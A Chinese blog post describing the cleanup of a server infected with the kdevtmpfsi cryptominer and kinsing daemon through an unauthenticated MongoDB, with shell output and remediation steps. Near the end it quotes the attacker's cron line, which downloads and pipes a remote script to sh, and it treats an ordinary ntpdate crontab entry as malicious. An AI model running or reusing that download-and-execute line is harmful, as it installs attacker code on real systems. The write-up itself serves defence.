服务器被攻击并植入kdevtmpfsi挖矿/病毒/木马
一、问题发现:
MongoDB库中的数据莫名其妙没有了,发觉如下信息:
mongodb库中的信息.png
二、去服务器查找具体原因:
1、top -d 5命令 ,查看系统负载情况、是否有未知进程,发现一个名为kdevtmpfsi的进程,经科普它是一个挖矿程序,会占用服务器高额的CPU、内存资源。如图,CPU占用率高达788.7%,而且是yarn用户下:
2、ps -ef |grep kdevtmpfsi 命令查看 该挖矿程序路径:/tmp/kdevtmpfsi
[root@cdh3 ~]# ps -ef |grep kdevtmpfsi
yarn 40422 1 99 10:16 ? 01:01:16 /tmp/kdevtmpfsi
root 60879 60813 0 10:24 pts/4 00:00:00 grep --color=auto kdevtmpfsi
3、ps -ef |grep yarn 命令查看更多关于yarn相关进程信息(此时我的服务器并没有开启yarn服务,如果有yarn的相关进程则可判断是攻击者开启的进程),发现另外还有个kinsing进程,经科普kinsing进程是kdevtmpfsi的守护进程:
[root@cdh3 ~]# ps -ef |grep yarn
yarn 38560 1 0 10:15 ? 00:00:01 /var/tmp/kinsing
yarn 40422 1 99 10:16 ? 01:13:35 /tmp/kdevtmpfsi
root 62455 60813 0 10:26 pts/4 00:00:00 grep --color=auto yarn
4、netstat -lntupaa命令查看是否有异常的ip,果然发现194.87.102.77这个陌生的ip,判断是kdevtmpfsi的发出者:
5、经查询该ip的所在国家是俄罗斯:
IP来源地点.png
三、问题解决
6、find / -iname kdevtmpfsi命令再次确定命令所在位置以便删除:
[root@cdh3 ~]# find / -iname kdevtmpfsi
/tmp/kdevtmpfsi
[root@cdh3 ~]# find / -iname kinsing
/var/tmp/kinsing
7、cd /tmp进入相关目录:
[root@cdh3 ~]# cd /tmp
[root@cdh3 tmp]# ll
……
-rwxr-xr-x 1 yarn yarn 3930448 9月 18 10:16 kdevtmpfsi
……
8、rm -rf kdevtmpfsi删除kdevtmpfsi程序:
[root@cdh3 tmp]# rm -rf kdevtmpfsi
9、** kill -9 40422**杀掉kdevtmpfsi进程:
[root@cdh3 tmp]# kill -9 40422
10、发现并没杀掉所有kdevtmpfsi进程,再次查找yarn的相关进程(因为之前已确认病毒是在yarn下),果真还有kdevtmpfsi进程存在:
[root@cdh3 tmp]# ps -aux | grep yarn
yarn 38560 0.0 0.1 120024 25008 ? Sl 10:15 0:01 /var/tmp/kinsing
yarn 42822 637 27.9 5307220 4540996 ? Ssl 10:44 2:58 /tmp/kdevtmpfsi
root 43853 0.0 0.0 112724 980 pts/4 S+ 10:44 0:00 grep --color=auto yarn
11、用命令批量杀掉相关进程:
[root@cdh3 tmp]# ps -aux | grep kdevtmpfsi |grep -v grep|cut -c 9-15 | xargs kill -9
[root@cdh3 tmp]# ps -aux | grep kinsing |grep -v grep|cut -c 9-15 | xargs kill -9
12、删除kinsing文件:
[root@cdh3 run]# cd /var/tmp/
[root@cdh3 tmp]# rm -rf kinsing
[root@cdh3 tmp]# ll
总用量 16
-rwxr-xr-x 1 yarn yarn 13176 7月 25 19:35 for
drwx------ 3 root root 17 9月 3 09:30 systemd-private-e6ce9cb6390046fe8ad6712e0cdcb603-chronyd.service-yEVbDg
drwx------ 3 root root 17 9月 3 09:31 systemd-private-e6ce9cb6390046fe8ad6712e0cdcb603-httpd.service-e8FTnb
[root@cdh3 tmp]#
13、现在,已经把挖矿程序及相关进程删除掉了,但是还有两处没做处理:
(1)封掉异常IP:194.87.102.77;
(2)编写一个删除挖矿程序的脚本并设置定时调度,这个很重要。
14、crontab -l 命令先看看crontab的定时任务列表吧:
[root@cdh3 tmp]# crontab -l
0-59/30 * * * * /usr/sbin/ntpdate -u pool.ntp.org && /sbin/hwclock -w
这个并不是我们设置的定时任务,经确认判断是攻击者设置的定时任务了,删除!
15、编写删除挖矿程序脚本kill_kdevtmpfsi.sh:
[root@cdh3 tmp]# pwd
/root/wxj/tmp
[root@cdh3 tmp]# vim kill_kdevtmpfsi.sh
// 填入以下内容:
ps -aux | grep kinsing |grep -v grep|cut -c 9-15 | xargs kill -9
ps -aux | grep kdevtmpfsi |grep -v grep|cut -c 9-15 | xargs kill -9
rm -f /var/tmp/kinsing
rm -f /tmp/kdevtmpfsi
16、新增定时任务并删除攻击者的挖矿定时任务:
*/1 * * * * /root/wxj/tmp/kill_kdevtmpfsi.sh
17、crontab -l命令查看现在只有杀进程的定时任务了:
[root@cdh3 tmp]# crontab -l
*/1 * * * * /root/wxj/tmp/kill_kdevtmpfsi.sh
[root@cdh3 tmp]#
18、禁止黑客的IP地址。
总结:
最初安装MongoDB时,并未设置密码认证,存在漏洞,导致黑客通过漏洞攻击服务器,并在程序里植入木马/病毒。单纯的kill -9 id杀掉病毒进程是杀不彻底的,治标不治本,应该定时删除病毒进程,禁止攻击者IP,重新安装系统或相关软件。
后续其他操作:
[root@cdh3 init.d]# cd /var/spool/cron
[root@cdh3 cron]# ll
总用量 8
-rw------- 1 root root 45 9月 18 11:05 root
-rw------- 1 yarn yarn 72 9月 18 14:08 yarn
[root@cdh3 cron]#
[root@cdh3 cron]# cat root
*/1 * * * * /root/wxj/tmp/kill_kdevtmpfsi.sh
[root@cdh3 cron]# cat yarn
* * * * * wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
195.3.146.118.png
删除yarn文件内容:
image.png附:
经过几天的观察,服务器运行正常,再没有被黑客攻击成功。